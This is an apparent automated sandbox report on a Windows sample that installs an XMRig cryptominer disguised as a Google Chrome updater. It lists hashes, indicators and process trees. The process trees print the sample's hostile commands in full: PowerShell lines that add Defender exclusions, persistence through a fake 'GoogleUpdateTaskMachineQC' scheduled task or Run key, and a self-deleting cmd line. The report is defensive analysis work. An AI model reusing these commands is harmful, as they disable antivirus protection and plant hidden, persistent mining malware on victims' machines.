Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
470s -
max time network
1793s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exeupdater.execonhost.exedescription pid process target process PID 1676 created 1200 1676 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 1676 created 1200 1676 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 1676 created 1200 1676 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 1676 created 1200 1676 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 2900 created 1200 2900 updater.exe Explorer.EXE PID 2900 created 1200 2900 updater.exe Explorer.EXE PID 2900 created 1200 2900 updater.exe Explorer.EXE PID 2900 created 1200 2900 updater.exe Explorer.EXE PID 1436 created 1200 1436 conhost.exe Explorer.EXE PID 2900 created 1200 2900 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral13/memory/2016-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral13/memory/2016-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2588 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2900 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1504 taskeng.exe -
Processes:
resource yara_rule behavioral13/memory/2016-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral13/memory/2016-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2900 set thread context of 1436 2900 updater.exe conhost.exe PID 2900 set thread context of 2016 2900 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2684 schtasks.exe 1576 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1034a295814eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1676 Gu3PdXt79NF7EJXJ.exe 1676 Gu3PdXt79NF7EJXJ.exe 2108 powershell.exe 1676 Gu3PdXt79NF7EJXJ.exe 1676 Gu3PdXt79NF7EJXJ.exe 2104 powershell.exe 1676 Gu3PdXt79NF7EJXJ.exe 1676 Gu3PdXt79NF7EJXJ.exe 1676 Gu3PdXt79NF7EJXJ.exe 1676 Gu3PdXt79NF7EJXJ.exe 2580 powershell.exe 2900 updater.exe 2900 updater.exe 1236 powershell.exe 2900 updater.exe 2900 updater.exe 2188 powershell.exe 2900 updater.exe 2900 updater.exe 2900 updater.exe 2900 updater.exe 1436 conhost.exe 1436 conhost.exe 2900 updater.exe 2900 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2108 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 2188 powershell.exe Token: SeDebugPrivilege 2900 updater.exe Token: SeAssignPrimaryTokenPrivilege 1708 WMIC.exe Token: SeIncreaseQuotaPrivilege 1708 WMIC.exe Token: SeSecurityPrivilege 1708 WMIC.exe Token: SeTakeOwnershipPrivilege 1708 WMIC.exe Token: SeLoadDriverPrivilege 1708 WMIC.exe Token: SeSystemtimePrivilege 1708 WMIC.exe Token: SeBackupPrivilege 1708 WMIC.exe Token: SeRestorePrivilege 1708 WMIC.exe Token: SeShutdownPrivilege 1708 WMIC.exe Token: SeSystemEnvironmentPrivilege 1708 WMIC.exe Token: SeUndockPrivilege 1708 WMIC.exe Token: SeManageVolumePrivilege 1708 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1708 WMIC.exe Token: SeIncreaseQuotaPrivilege 1708 WMIC.exe Token: SeSecurityPrivilege 1708 WMIC.exe Token: SeTakeOwnershipPrivilege 1708 WMIC.exe Token: SeLoadDriverPrivilege 1708 WMIC.exe Token: SeSystemtimePrivilege 1708 WMIC.exe Token: SeBackupPrivilege 1708 WMIC.exe Token: SeRestorePrivilege 1708 WMIC.exe Token: SeShutdownPrivilege 1708 WMIC.exe Token: SeSystemEnvironmentPrivilege 1708 WMIC.exe Token: SeUndockPrivilege 1708 WMIC.exe Token: SeManageVolumePrivilege 1708 WMIC.exe Token: SeLockMemoryPrivilege 2016 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2104 wrote to memory of 2684 2104 powershell.exe schtasks.exe PID 2104 wrote to memory of 2684 2104 powershell.exe schtasks.exe PID 2104 wrote to memory of 2684 2104 powershell.exe schtasks.exe PID 2588 wrote to memory of 2148 2588 cmd.exe choice.exe PID 2588 wrote to memory of 2148 2588 cmd.exe choice.exe PID 2588 wrote to memory of 2148 2588 cmd.exe choice.exe PID 2580 wrote to memory of 1860 2580 powershell.exe schtasks.exe PID 2580 wrote to memory of 1860 2580 powershell.exe schtasks.exe PID 2580 wrote to memory of 1860 2580 powershell.exe schtasks.exe PID 1504 wrote to memory of 2900 1504 taskeng.exe updater.exe PID 1504 wrote to memory of 2900 1504 taskeng.exe updater.exe PID 1504 wrote to memory of 2900 1504 taskeng.exe updater.exe PID 2188 wrote to memory of 1576 2188 powershell.exe schtasks.exe PID 2188 wrote to memory of 1576 2188 powershell.exe schtasks.exe PID 2188 wrote to memory of 1576 2188 powershell.exe schtasks.exe PID 2900 wrote to memory of 1436 2900 updater.exe conhost.exe PID 3044 wrote to memory of 1708 3044 cmd.exe WMIC.exe PID 3044 wrote to memory of 1708 3044 cmd.exe WMIC.exe PID 3044 wrote to memory of 1708 3044 cmd.exe WMIC.exe PID 2900 wrote to memory of 2016 2900 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1200
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1676
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2684
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2588
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1576
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1356
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3044
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1436
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2148
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2900
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C:\Windows\system32\taskeng.exetaskeng.exe {562AD64C-D976-4746-8644-02D41C135754} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1504
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:1860
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1708
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
91KB
MD5511cb7b0a3b25450463eb49178509cf0
SHA1b8068a6223f23aec492be9b66b5271f94ed6a6bc
SHA2568db1619e68a0848030171ba08d7579fc61db3f7f76091b381b1f557ecd6ffff2
SHA51252f2612c2ab20d15e14d498d3c2b0c3171e2f457a37c335fb58500920e6976b885933119fcfd9bb2fc88595d78efd75a1a16e53978b320a6251fe3c69c52349a
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Filesize
81KB
MD5dc01488f96e40df3f7f926d7fa83a08c
SHA17234e07f8c2223f308cf18cdf6a387e1b32798dc
SHA256016f4674ca7566351c76c2160fcd85d1cd7e332ede91d0105c2f8df6c0bb0572
SHA51216833aa29c41adb3b094864d2028aa81a7e2528f1812897252b8ba1e4c00f81e9dadbf5a1cf49874ba75bec52e707f72eb3e799fe7d7c22f873be4b9d9859a50
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD55a19ef65fd8357ddefa3b9dbd218d3e5
SHA10c13af900195d1042942cbc7cf3daefeb251b17d
SHA256b0b4f161f13c8f25201a69971f7c2d693fa636d16217a80f6cd9c2001d055b80
SHA5123819558930d5a91510e28864a3464a16fa3e9fe21df534cda663c00f7c32a32a928e6003707838c5606ef7c8d9ba363066e40ecabb6a36d9973bc1fe8de2fd73
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Filesize
91KB
MD5d8bc87825c739f37a27580c15f912a6a
SHA18d15b7bb7589c8924bffc8fb7b29dd6caa7aead0
SHA256199d73a4093c7617d380bc216bfbb36e6a341e69dd3ad8a7b086a68f2b165180
SHA51232a9fca123edd28763ae35e4b365e36c7e77342a140315dc16366067994f50554a5d5337badaf509a057c4523b1fb44a67a87b8ce4b9500562a8450d51825f33